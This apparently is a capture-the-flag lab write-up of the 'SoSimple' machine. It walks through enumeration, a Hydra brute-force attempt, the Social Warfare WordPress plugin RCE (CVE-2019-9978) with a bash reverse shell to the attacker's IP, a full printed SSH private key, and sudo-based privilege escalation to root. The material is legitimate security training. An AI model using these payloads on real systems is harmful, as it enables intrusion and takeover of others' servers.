[Offensive Security] Proving Grounds - SoSimple
https://portal.offensive-security.com/proving-grounds/play https://www.vulnhub.com/entry/so-simple-1,515/
Keep it simple.
Footprinting
Open ports
Nmap scans showed the services SSH and HTTP are opened:
kali@kali:~$ sudo nmap -sS --top-ports=5000 -Pn -v10 -oA syn_full 192.168.174.78
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
kali@kali:~$ sudo nmap -sC -sV -p22,80 -Pn -v10 -oA vuln 192.168.174.78
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZJ+y+c4YDmXPBY8hytP7uA0bmTKJfUnWpZn1744GxKheNmQqG98tALhL+Hz4OxWRhLzoGa/klypcYMEstzpopxZvLIUil5PPfrCTW+dwCixiULgi8Q9ImfBgKNYaQ6aog7qXG0N0GUazyJj/O2Sfx8qc32cvgh27SOOfiIvZ3s3xeh1DOqjC1kEkzJG9YeMRKRc0AC2TCtRmGbvBGL3iKjjuLS+lXxgtNEnjGI3m+n7RwgMDe0iv82ThCc1oRjeTEysstm4baIJvsdRs/trfvV/2cfAAfl77B0p6HS3rPWZYj2WCoSyG6Z3bK+kjjt+FG5V+zhQ8G4yntT/brCIXGa0iSe1vGrLk6dIrRsmbPsG3V3dkggyOL/aWkL6Q2bnb3suFINJ98Hvjd9Pe3ngsnv5iefgRaHwu/GgP7sVpLsKGdvo2smS7PTmHrZFqP74SeGC+TQ2BIhxYe9uAoL5NRappcCyA0ZF3kB9907nSggM/1bZ2uXnWqzKwPD5dBvTM=
| 256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO/ko3XtMH5m6keCi750yCg/B93iEWSBbyGrmJZ4sHThaowuRlW6sm/WuHR6AUeoCsU0su07XVlgPtCJOf35ByU=
| 256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkLRPLyIQqo5WToErae3vTYq6M2ZYupOFtsl1oNG0rp
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: So Simple
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
HTTP
Enumeration
ffuf
can be used to enumerate the resources in the web server:
kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 -u http://192.168.174.78 0
. [Status: 200, Size: 495, Words: 47, Lines: 78]
/ [Status: 200, Size: 495, Words: 47, Lines: 78]
index.html [Status: 200, Size: 495, Words: 47, Lines: 78]
wordpress/ [Status: 200, Size: 13420, Words: 520, Lines: 148]
Down the rabbit holes
In the Wordpress website, we can enumerate users. For instance, the user test
doesn't exist when entered as a login:
>>>
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.174.78
log=test&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.174.78%2Fwordpress%2Fwp-admin%2F&testcookie=1
<<<
Unknown username. Check again or try your email address.
Whereas admin
exists:
>>>
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.174.78
log=admin&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.174.78%2Fwordpress%2Fwp-admin%2F&testcookie=1
<<<
The password you entered for the username admin is incorrect. Lost your password?
However, I couldn't crack admin
's password using Hydra :/
:
kali@kali:~$ hydra -f -t 16 -l jamarir -P /usr/share/wordlists/rockyou.txt 192.168.174.78 http-post-form "/wordpress/wp-login.php:log=admin&pwd=^PASS^&wp-submit=Log+In:F=Error"
Wordpress plugin exploit
wpscan
revealed the plugins used by the Wordpress CMS:
kali@kali:~$ wpscan --url http://192.168.174.78/wordpress |tee -a wordpress.txt
kali@kali:~$ grep -E 'Location.*plugins/' wordpress.txt
| Location: http://192.168.174.78/wordpress/wp-content/plugins/simple-cart-solution/
| Location: http://192.168.174.78/wordpress/wp-content/plugins/social-warfare/
In particular, the social-warface
plugin seems exploitable :]
kali@kali:~$ searchsploit wordpress social warfare
------------------------ ---------------------------------
Exploit Title | Path
------------------------ ---------------------------------
WordPress Plugin Social | php/webapps/46794.py
------------------------ ---------------------------------
This exploit allows to perform an Unauthenticated Remote Code Execution through the swp_url
GET parameter (CVE-2019-9978):
kali@kali:~$ searchsploit -x 46794
[...]
VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"
[...]
The vulnerable version of the plugin (3.5.2) uses a script (lib/utilities/SWP_Database_Migration.php
) which executes the eval()
function:
[...]
if ( true == SWP_Utility::debug('load_options') ) {
[...]
$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
[...]
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array );
}
$pre = strpos($options, '<pre>');
if ($pre != 0) {
wp_die('No Social Warfare found.');
}
$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);
[...]
The condition above is true if the swp_debug
GET parameter is set to load_options
, as we can see in the lib/utilities/SWP_Utility.php
script:
/**
* Checks to see if a debugging query paramter has been set.
*
* @since 2.1.0
* @since 3.3.0 | 14 AUG 2018 | Refactored to a one-liner.
* @access public
* @param string $type The query paramter to check for.
*
* @return bool True if the specified key is set for debugging, else false.
*
*/
public static function debug( $key = '' ) {
return !empty( $_GET['swp_debug'] ) && ( strtolower( $_GET['swp_debug'] ) == strtolower( $key ) );
}
On top of that, the payload must contain the "<pre>"
string, otherwise the vulnerable input is not processed:
$pre = strpos($options, '<pre>');
if ($pre != 0) {
wp_die('No Social Warfare found.');
}
As a result, we get an RCE by injecting a link to a malicious script we host in the swp_url
GET parameter:
kali@kali:~$ cat phpinfo.txt
<pre>
phpinfo();
</pre>
kali@kali:~$ python -m http.server --bind 192.168.49.174 48888
>>>
GET /wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.174:48888/phpinfo.txt HTTP/1.1
Host: 192.168.174.78
<<<
[phpinfo results]
Finally we get a reverse shell :)
kali@kali:~$ cat revshell.txt
<pre>
system("bash -c 'bash -i >& /dev/tcp/192.168.49.174/49999 0>&1'")
</pre>
kali@kali:~$ nc -nlvp 49999
>>>
GET /wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.174:48888/revshell.txt HTTP/1.1
Host: 192.168.174.78
<<<
listening on [any] 49999 ...
connect to [192.168.49.174] from (UNKNOWN) [192.168.174.78] 36624
bash: cannot set terminal process group (946): Inappropriate ioctl for device
bash: no job control in this shell
www-data@so-simple:/var/www/html/wordpress/wp-admin$
Local privilege Escalation
local.txt
www-data
There are 3 loggable users:
www-data@so-simple:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
max:x:1000:1000:roel:/home/max:/bin/bash
steven:x:1001:1001:Steven,,,:/home/steven:/bin/bash
In max
's folder, we see the first flag in local.txt
is readable by anyone:
www-data@so-simple:/home/max$ ls -la
total 52
drwxr-xr-x 7 max max 4096 Aug 22 2020 .
drwxr-xr-x 4 root root 4096 Jul 12 2020 ..
lrwxrwxrwx 1 max max 9 Aug 22 2020 .bash_history -> /dev/null
-rw-r--r-- 1 max max 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 max max 3810 Jul 12 2020 .bashrc
drwx------ 2 max max 4096 Jul 12 2020 .cache
drwx------ 3 max max 4096 Jul 12 2020 .gnupg
drwxrwxr-x 3 max max 4096 Jul 12 2020 .local
-rw-r--r-- 1 max max 807 Feb 25 2020 .profile
drwxr-xr-x 2 max max 4096 Jul 14 2020 .ssh
-rw-r--r-- 1 max max 33 Apr 1 19:42 local.txt
-rw-r--r-- 1 max max 49 Jul 12 2020 personal.txt
drwxrwxr-x 3 max max 4096 Jul 12 2020 this
-rwxr-x--- 1 max max 43 Aug 22 2020 user.txt
www-data@so-simple:/home/max$ cat local.txt
c0[...]06
root.txt
Now we must escalate our privileges to the root
user. We'll first impersonate max
M4x3d
In max
's folder, there is an interesting personal.txt
file:
www-data@so-simple:/home/max$ cat personal.txt
SGFoYWhhaGFoYSwgaXQncyBub3QgdGhhdCBlYXN5ICEhISA=
Decoding the base64
text shows:
www-data@so-simple:/home/max$ base64 -d personal.txt
Hahahahaha, it's not that easy !!!
Note that navigating into the this
folder is a rabbit hole:
www-data@so-simple:/home/max$ cd this/is/maybe/the/way/to/a
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ ls
password
private_key
rabbit_hole
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat rabbit-hole.txt
_\_. ._/_
.\' ```-`\| |/'-''' `/.
.\' \| |/ `/.
\.\' \||/ `/./
.' ._._ || _._. `.
./ ./' | || | `\. \.
/' .'\ \ / /\ \ / /`. `\
/| /| \ \/ /..\ \/ / |\ |\
/| / /' .\||/. `\ \ |\
/| /` .'.---. .---.`. '\ |\
'/-/|--|-/' / / \ / \ \ `\-|--|\-\`
| / \/ \ |
| `. ._()()_. .' |
_\_\| `._\. ./_.' |/_/_
\_\` \__/ '/_/
\` ____ o /\ o ____ '/
= .'`. o o / \ o o .'`. =
'/ | `._____..' `.._____.' | \`
-/ \ / \-
'/- \ .. / -\`
'/ _.\ `' /._ \`
'//-'' \ || / ``-\\`
\____/\____/
What about the folders ?
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat password/password.txt
Haha, you wish!! :)
And the private RSA key ?
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat private_key/id_rsa
-----BEGIN RSA Rubbish Key-----
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
-----END RSA Rubbish Key-----
Actually, the private key was directly readable inside the .ssh
folder:
www-data@so-simple:/home/max$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Thus, we can connect as max
using SSH, and no password is required:
kali@kali:~$ ssh2john id_rsa_max > hash_max.txt
id_rsa_max has no password!
kali@kali:~$ ssh -i id_rsa_max max@192.168.174.78
St3v3n3d
Interestingly, we can elevate as steven
without password:
max@so-simple:~$ sudo -l
Matching Defaults entries for max on so-simple:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User max may run the following commands on so-simple:
(steven) NOPASSWD: /usr/sbin/service
max@so-simple:~$ sudo -u steven /usr/sbin/service
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]
max@so-simple:~$ sudo -u steven /usr/sbin/service ../../bin/sh
steven@so-simple:~$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)
There is no interesting file within steven
's personal folder:
steven@so-simple:~$ cat user2.txt
This is not the flag you're looking for..
R00t3d
But steven
can run the command /opt/tools/server-health.sh
as root
with no password:
steven@so-simple:~$ sudo -l
Matching Defaults entries for steven on so-simple:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User steven may run the following commands on so-simple:
(root) NOPASSWD: /opt/tools/server-health.sh
However, the script server-health
doesn't exist:
steven@so-simple:~$ sudo /opt/tools/server-health.sh
sudo: /opt/tools/server-health.sh: command not found
Therefore, we can easily create a script that spawns a shell:
steven@so-simple:~$ vim /opt/tools/server-health.sh
#!/bin/bash
bash
steven@so-simple:~$ chmod +x /opt/tools/server-health.sh
And become root:
steven@so-simple:~$ sudo /opt/tools/server-health.sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root/
flag.txt proof.txt snap
# cat /root/*
This is not the flag you're looking for...
ed[...]70